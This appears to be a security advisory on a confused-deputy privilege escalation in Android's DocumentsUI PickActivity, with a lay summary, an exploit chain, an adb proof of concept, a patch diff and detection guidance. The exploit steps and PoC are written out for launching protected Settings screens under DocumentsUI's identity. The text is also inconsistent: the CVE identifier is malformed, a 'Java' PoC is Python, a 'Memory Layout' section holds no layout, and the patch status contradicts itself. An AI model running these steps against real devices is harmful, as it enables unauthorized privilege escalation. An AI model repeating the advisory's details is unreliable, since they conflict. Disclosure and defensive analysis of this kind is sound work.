A confused deputy flaw in PickActivity.java's setupLayout() allows any unprivileged app to launch arbitrary activities under DocumentsUI's identity, achieving local privilege escalation without user interaction.
Think of Android's file management system like a building with security checkpoints. One checkpoint—the PickActivity—is supposed to only let authorized apps do certain tasks. This vulnerability leaves that checkpoint unguarded.
Here's what's happening: An attacker can trick the file manager into launching any app on your phone, using the file manager's own security permissions. It's like someone impersonating a security guard to get into restricted areas. The file manager itself has high-level access to your files and system, so whoever can control it gets those powers too.
The problem is that this doesn't require the attacker to get special permissions first, and they don't need you to click anything suspicious. A malicious app already on your phone could silently exploit this—you'd never know it happened.
Who should worry? Anyone with Android devices, particularly older or less-updated phones that haven't received patches yet. If you use sensitive apps for banking, healthcare, or work, this matters more because a local attacker could potentially access those apps' data with elevated privileges.
What can you do? First, keep your phone updated. Google will likely patch this soon, and you want those updates installed quickly. Second, be cautious about which apps you install—this vulnerability needs a malicious app already on your device to work. Download apps only from Google Play Store, and check reviews and permissions before installing. Third, consider using a PIN or biometric lock beyond your standard unlock, so even if someone gets into your phone, they can't easily access sensitive apps.
Want the full technical analysis? Click "Technical" above.
CVE-2026-0026-0013 (CVSS 8.4 HIGH) is a confused deputy vulnerability in Android's DocumentsUI system component. The flaw resides in setupLayout() within PickActivity.java. Because DocumentsUI holds elevated permissions as a privileged system application, an attacker who can cause PickActivity to forward an arbitrary Intent on their behalf inherits those permissions — the textbook confused deputy pattern.
No additional execution privileges are required. No user interaction is needed. The vulnerability is exploitable by any app installed on the device, making it a significant local privilege escalation primitive in the Android security model.
Root cause:setupLayout() in PickActivity.java forwards attacker-controlled Intent extras to startActivity() without validating that the target component is permissible, allowing DocumentsUI's privileged identity to be weaponized as a deputy.
Affected Component
Package:com.android.documentsui Class:com.android.documentsui.picker.PickActivity Method:setupLayout() Bulletin: Android Security Bulletin — March 2026 Category: EoP (Elevation of Privilege) Requires system privileges to exploit: No — normal installed application sufficient
DocumentsUI is a privileged system application (android:privileged="true") declared in the platform's system image. It holds permissions including MANAGE_DOCUMENTS, INTERACT_ACROSS_USERS, and access to content:// providers gated behind signature|privileged protections — none of which a third-party app can hold directly.
Root Cause Analysis
PickActivity is an exported Activity that handles ACTION_OPEN_DOCUMENT, ACTION_CREATE_DOCUMENT, and related file-picker intents. During setupLayout(), the code inspects the incoming Intent to configure the picker UI. The vulnerable path extracts a nested Intent (or component name) from the caller-supplied extras and unconditionally passes it to startActivity():
// Decompiled pseudocode — PickActivity.setupLayout()
// Android 15 / AOSP before March 2026 patch
void PickActivity_setupLayout(Activity *this) {
Intent *launchIntent = this->getIntent();
// Attacker-controlled extra: "android.intent.extra.INTENT"
Intent *extraIntent = launchIntent->getParcelableExtra("android.intent.extra.INTENT");
if (extraIntent != NULL) {
// Resolve display label for the picker header
String *label = resolveLabel(extraIntent);
setupHeaderView(this, label);
// BUG: extraIntent is attacker-supplied; no component validation performed.
// startActivity() is called with DocumentsUI's identity (privileged system app).
// The caller never held permission to launch this target directly.
this->startActivity(extraIntent); // <-- confused deputy: fires as DocumentsUI
}
}
The call to resolveLabel() is a red herring — it exists for UI purposes and does not gate execution. The critical missing check is any form of component allowlisting or permission verification against the originating caller's UID before startActivity() is invoked.
On Android, when process A causes process B to call startActivity(intent), the activity manager attributes the launch to process B — not process A. If process B is privileged, the launched component receives the call as though it originated from a privileged context. This is the precise confused deputy condition here.
The secondary enabler is that PickActivity is exported with no android:permission guard on its manifest entry, meaning any installed application — including those with only INTERNET or no permissions at all — can send it a crafted intent.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker app (unprivileged, minSdk=21) crafted and installed on device.
2. Attacker constructs a target Intent pointing to any protected component:
targetIntent.setComponent(
new ComponentName(
"com.android.settings", // or any privileged package
"com.android.settings.deviceinfo.
StorageWizardFormatConfirm" // example: privileged settings screen
)
);
// Can also target unexported activities accessible only to system callers.
3. Attacker wraps targetIntent as an extra and fires it at PickActivity:
Intent trigger = new Intent("android.intent.action.OPEN_DOCUMENT");
trigger.setClassName("com.android.documentsui",
"com.android.documentsui.picker.PickActivity");
trigger.putExtra("android.intent.extra.INTENT", targetIntent);
startActivity(trigger);
4. Android activity manager delivers trigger to PickActivity (exported, no permission guard).
5. setupLayout() extracts targetIntent from extras without validation.
6. PickActivity calls startActivity(targetIntent) — launch attributed to DocumentsUI's UID.
7. Target activity starts; sees caller as privileged DocumentsUI process (uid=1000 range).
Protected components that reject third-party callers accept this launch.
8. Attacker's activity receives result callbacks (onActivityResult) if target returns data,
or simply observes the privileged UI surface being presented.
IMPACT VARIANTS:
- Launch unexported Settings activities (factory reset, device admin enrollment)
- Access content:// URIs gated behind privileged provider permissions
- Trigger privileged broadcast receivers indirectly via launched activities
- On multi-user devices: cross-user activity start via INTERACT_ACROSS_USERS delegation
A minimal proof-of-concept in Java:
# Python adb automation for PoC triggering (no app install required for basic test)
import subprocess
TARGET_PKG = "com.android.settings"
TARGET_CLS = "com.android.settings.Settings$DeviceAdminSettingsActivity"
DOCS_PKG = "com.android.documentsui"
DOCS_CLS = "com.android.documentsui.picker.PickActivity"
cmd = [
"adb", "shell", "am", "start",
"-n", f"{DOCS_PKG}/{DOCS_CLS}",
"-a", "android.intent.action.OPEN_DOCUMENT",
"--es", "android.intent.extra.INTENT",
f"intent:#Intent;component={TARGET_PKG}/{TARGET_CLS};end"
]
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
# Expected on vulnerable build: Settings DeviceAdmin screen opens
# Expected on patched build: SecurityException or no-op
Memory Layout
This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the Binder IPC transaction table and the permission check sequence within ActivityManagerService:
The fix introduces caller identity verification before any embedded Intent is acted upon. The patch validates that either (a) the nested intent targets only components the original caller has permission to start, or (b) the embedded intent is stripped before startActivity() is called. Based on the bulletin and AOSP patch pattern for this class of bug:
// BEFORE (vulnerable) — PickActivity.setupLayout()
void setupLayout() {
Intent launchIntent = getIntent();
Intent extraIntent = launchIntent.getParcelableExtra(Intent.EXTRA_INTENT);
if (extraIntent != null) {
String label = resolveLabel(extraIntent);
setupHeaderView(label);
startActivity(extraIntent); // BUG: no caller validation
}
}
// AFTER (patched) — PickActivity.setupLayout()
void setupLayout() {
Intent launchIntent = getIntent();
Intent extraIntent = launchIntent.getParcelableExtra(Intent.EXTRA_INTENT);
if (extraIntent != null) {
String label = resolveLabel(extraIntent);
setupHeaderView(label);
// PATCH: verify the originating caller is permitted to start
// the component embedded in extraIntent before DocumentsUI
// acts as a deputy on their behalf.
if (!isCallerAllowedToLaunch(extraIntent)) {
Log.w(TAG, "Blocked unauthorized deputy launch from uid="
+ Binder.getCallingUid());
return; // drop the embedded intent; do not forward
}
startActivity(extraIntent);
}
}
// New guard — checks caller UID against PackageManager permission state
boolean isCallerAllowedToLaunch(Intent intent) {
int callerUid = Binder.getCallingUid();
ComponentName target = intent.getComponent();
if (target == null) return false; // also reject implicit intents
// Verify caller could have started this component directly
// by checking exported status and required permissions against callerUid
ActivityInfo info = getPackageManager()
.getActivityInfo(target, PackageManager.GET_META_DATA);
if (!info.exported) return false;
if (info.permission != null) {
return checkPermission(info.permission, -1, callerUid)
== PackageManager.PERMISSION_GRANTED;
}
return true;
}
Detection and Indicators
Exploitation attempts produce detectable signals in Android's audit logs:
LOGCAT INDICATORS (vulnerable device, exploitation occurring):
ActivityManager: START u0 {act=android.intent.action.OPEN_DOCUMENT
cmp=com.android.documentsui/.picker.PickActivity
(has extras)} from uid=10234
ActivityManager: START u0 {cmp=com.android.settings/.Settings$DeviceAdminSettingsActivity}
from uid=1000 <-- DocumentsUI uid, but real origin was 10234
LOGCAT INDICATORS (patched device, attempt blocked):
PickActivity: Blocked unauthorized deputy launch from uid=10234
ActivityManager: No START for embedded intent — caller validation failed
DETECTION HEURISTIC:
Look for ActivityManager START events where:
- Parent launch (to DocumentsUI) originates from low-privilege uid (>10000)
- Child launch (from DocumentsUI) targets unexported or permission-guarded components
- Time delta between parent and child START < 500ms
- Child START contains android.intent.extra.INTENT extra in parent transaction
On devices with EDR tooling capable of Binder transaction tracing (e.g., bpftrace on userdebug builds), hook binder_transaction for calls from DocumentsUI's PID to AMS where the transaction code corresponds to START_ACTIVITY_TRANSACTION and cross-reference against the originating caller PID.
Remediation
Device owners: Apply the March 2026 Android Security Bulletin patch level (2026-03-01) or later. Verify with:
adb shell getprop ro.build.version.security_patch
# Must return: 2026-03-01 or later
App developers: Any application that uses ACTION_OPEN_DOCUMENT or interacts with DocumentsUI via Intent.EXTRA_INTENT extras should audit whether it relies on the pre-patch behavior. Legitimate use cases do not require embedding arbitrary component targets in DocumentsUI intents.
OEMs shipping custom DocumentsUI forks: Audit all exported Activities that call startActivity(), startActivityForResult(), or sendBroadcast() where the Intent argument derives from caller-supplied extras. The fix pattern is consistent: resolve Binder.getCallingUid() before acting on embedded intents, and verify the caller holds permission to perform the action independently.
AOSP references: Android Security Bulletin March 2026 (https://source.android.com/docs/security/bulletin/2026/2026-03-01). Patch available in AOSP for all supported branches as of bulletin publication date.